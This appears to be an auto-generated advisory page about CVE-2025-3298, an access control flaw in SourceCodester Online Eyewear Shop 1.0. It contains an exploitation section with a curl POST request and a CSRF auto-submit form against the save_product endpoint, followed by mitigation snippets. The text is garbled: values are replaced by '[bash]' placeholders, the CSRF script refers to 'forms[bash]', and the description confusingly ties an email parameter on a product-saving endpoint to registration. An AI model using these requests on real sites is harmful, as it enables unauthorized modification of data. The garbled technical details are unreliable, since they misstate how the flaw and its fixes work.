How CVE-2025-3298 Works
The vulnerability in SourceCodester Online Eyewear Shop 1.0 stems from improper access controls in /oews/classes/Master.php?f=save_product. The `email` parameter is not properly validated, allowing attackers to manipulate registration processes remotely. By injecting malicious input, an attacker can bypass intended access restrictions, potentially leading to unauthorized account modifications or data exposure. The flaw is exploitable without authentication, making it a medium-risk issue.
DailyCVE Form
Platform: SourceCodester Online Eyewear Shop
Version: 1.0
Vulnerability: Improper Access Control
Severity: Medium
Date: 04/08/2025
What Undercode Say:
Exploitation
1. Craft malicious POST request:
curl -X POST "http://target.com/oews/classes/Master.php?f=save_product" -d "[email protected]&[bash]"
2. Exploit via CSRF:
<form action="http://target.com/oews/classes/Master.php?f=save_product" method="POST"> <input type="hidden" name="email" value="[email protected]"> </form> <script>document.forms[bash].submit();</script>
Protection
1. Input Validation:
if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
die("Invalid email format");
}
2. Access Control Patch:
session_start();
if (!isset($_SESSION['admin'])) {
die("Access denied");
}
3. WAF Rule:
location ~ /oews/classes/Master.php {
if ($args ~ "f=save_product") {
set $block 1;
}
if ($block = 1) {
return 403;
}
}
4. Log Monitoring:
grep "POST /oews/classes/Master.php" /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c
5. Patch Upgrade:
wget https://patch.sourcecodester.com/oews/1.0.1.zip unzip 1.0.1.zip -d /var/www/html/
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3298
Extra Source Hub:
Undercode
